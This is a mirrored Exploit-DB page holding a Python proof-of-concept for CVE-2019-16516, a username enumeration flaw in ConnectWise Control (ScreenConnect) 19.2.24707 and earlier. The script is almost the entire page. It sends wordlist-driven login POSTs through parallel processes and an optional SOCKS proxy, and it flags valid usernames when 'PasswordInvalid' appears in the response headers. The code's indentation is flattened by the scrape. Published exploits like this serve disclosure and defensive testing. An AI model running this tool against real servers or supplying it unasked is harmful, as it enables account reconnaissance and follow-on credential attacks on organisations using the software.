ConnectWise Control 19.2.24707 – Username Enumeration

  • 作者: Luca Cuzzolin
    日期: 2022-01-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50618/
  • # Exploit Title: ConnectWise Control 19.2.24707 - Username Enumeration
    # Date: 17/12/2021
    # Exploit Author: Luca Cuzzolin aka czz78
    # Vendor Homepage: https://www.connectwise.com/
    # Version: vulnerable <= 19.2.24707
    # CVE : CVE-2019-16516
    
    # https://github.com/czz/ScreenConnect-UserEnum
    
    from multiprocessing import Process, Queue
    from statistics import mean
    from urllib3 import exceptions as urlexcept
    import argparse
    import math
    import re
    import requests
    
    class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKCYAN = '\033[96m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'
    
    
    headers = []
    
    def header_function(header_line):
    headers.append(header_line)
    
    
    def process_enum(queue, found_queue, wordlist, url, payload, failstr, verbose, proc_id, stop, proxy):
    try:
    # Payload to dictionary
    payload_dict = {}
    for load in payload:
    split_load = load.split(":")
    if split_load[1] != '{USER}':
    payload_dict[split_load[0]] = split_load[1]
    else:
    payload_dict[split_load[0]] = '{USER}'
    
    # Enumeration
    total = len(wordlist)
    for counter, user in enumerate(wordlist):
    user_payload = dict(payload_dict)
    for key, value in user_payload.items():
    if value == '{USER}':
    user_payload[key] = user
    
    dataraw = "".join(['%s=%s&' % (key, value) for (key, value) in user_payload.items()])[:-1]
    headers={"Accept": "*/*" , "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"}
    
    req = requests.request('POST',url,headers=headers,data=dataraw, proxies=proxies)
    
    x = "".join('{}: {}'.format(k, v) for k, v in req.headers.items())
    
    if re.search(r"{}".format(failstr), str(x).replace('\n','').replace('\r','')):
    queue.put((proc_id, "FOUND", user))
    found_queue.put((proc_id, "FOUND", user))
    if stop: break
    elif verbose:
    queue.put((proc_id, "TRIED", user))
    queue.put(("PERCENT", proc_id, (counter/total)*100))
    
    except (urlexcept.NewConnectionError, requests.exceptions.ConnectionError):
    print("[ATTENTION] Connection error on process {}! Try lowering the amount of threads with the -c parameter.".format(proc_id))
    
    
    if __name__ == "__main__":
    # Arguments
    parser = argparse.ArgumentParser(description="http://example.com/Login user enumeration tool")
    parser.add_argument("url", help="http://example.com/Login")
    parser.add_argument("wordlist", help="username wordlist")
    parser.add_argument("-c", metavar="cnt", type=int, default=10, help="process (thread) count, default 10, too many processes may cause connection problems")
    parser.add_argument("-v", action="store_true", help="verbose mode")
    parser.add_argument("-s", action="store_true", help="stop on first user found")
    parser.add_argument("-p", metavar="proxy", type=str, help="socks4/5 http/https proxy, ex: socks5://127.0.0.1:9050")
    args = parser.parse_args()
    
    # Arguments to simple variables
    wordlist = args.wordlist
    url = args.url
    payload = ['ctl00%24Main%24userNameBox:{USER}', 'ctl00%24Main%24passwordBox:a', 'ctl00%24Main%24ctl05:Login', '__EVENTTARGET:', '__EVENTARGUMENT:', '__VIEWSTATE:']
    verbose = args.v
    thread_count = args.c
    failstr = "PasswordInvalid"
    stop = args.s
    proxy= args.p
    
    print(bcolors.HEADER + """
    __ _____ ___
    || |__|__|__) |__|\ | || |\/|
    |__| ___| |___ |\ |___ | \| |__| ||
    
    ScreenConnect POC by czz78 :)
    
    """+ bcolors.ENDC);
    print("URL: "+url)
    print("Payload: "+str(payload))
    print("Fail string: "+failstr)
    print("Wordlist: "+wordlist)
    if verbose: print("Verbose mode")
    if stop: print("Will stop on first user found")
    
    proxies = {'http': '', 'https': ''}
    if proxy:
    proxies = {'http': proxy, 'https': proxy}
    
    print("Initializing processes...")
    # Distribute wordlist to processes
    wlfile = open(wordlist, "r", encoding="ISO-8859-1")# or utf-8
    tothread = 0
    wllist = [[] for i in range(thread_count)]
    for user in wlfile:
    wllist[tothread-1].append(user.strip())
    if (tothread < thread_count-1):
    tothread+=1
    else:
    tothread = 0
    
    # Start processes
    tries_q = Queue()
    found_q = Queue()
    processes = []
    percentage = []
    last_percentage = 0
    for i in range(thread_count):
    p = Process(target=process_enum, args=(tries_q, found_q, wllist[i], url, payload, failstr, verbose, i, stop, proxy))
    processes.append(p)
    percentage.append(0)
    p.start()
    
    print(bcolors.OKBLUE + "Processes started successfully! Enumerating." + bcolors.ENDC)
    # Main process loop
    initial_count = len(processes)
    while True:
    # Read the process output queue
    try:
    oldest = tries_q.get(False)
    if oldest[0] == 'PERCENT':
    percentage[oldest[1]] = oldest[2]
    elif oldest[1] == 'FOUND':
    print(bcolors.OKGREEN + "[{}] FOUND: {}".format(oldest[0], oldest[2]) + bcolors.ENDC)
    elif verbose:
    print(bcolors.OKCYAN + "[{}] Tried: {}".format(oldest[0], oldest[2]) + bcolors.ENDC)
    except: pass
    
    # Calculate completion percentage and print if /10
    total_percentage = math.ceil(mean(percentage))
    if total_percentage % 10 == 0 and total_percentage != last_percentage:
    print("{}% complete".format(total_percentage))
    last_percentage = total_percentage
    
    # Pop dead processes
    for k, p in enumerate(processes):
    if p.is_alive() == False:
    processes.pop(k)
    
    # Terminate all processes if -s flag is present
    if len(processes) < initial_count and stop:
    for p in processes:
    p.terminate()
    
    # Print results and terminate self if finished
    if len(processes) == 0:
    print(bcolors.OKBLUE + "EnumUser finished, and these usernames were found:" + bcolors.ENDC)
    while True:
    try:
    entry = found_q.get(False)
    print(bcolors.OKGREEN + "[{}] FOUND: {}".format(entry[0], entry[2]) + bcolors.ENDC)
    except:
    break
    quit()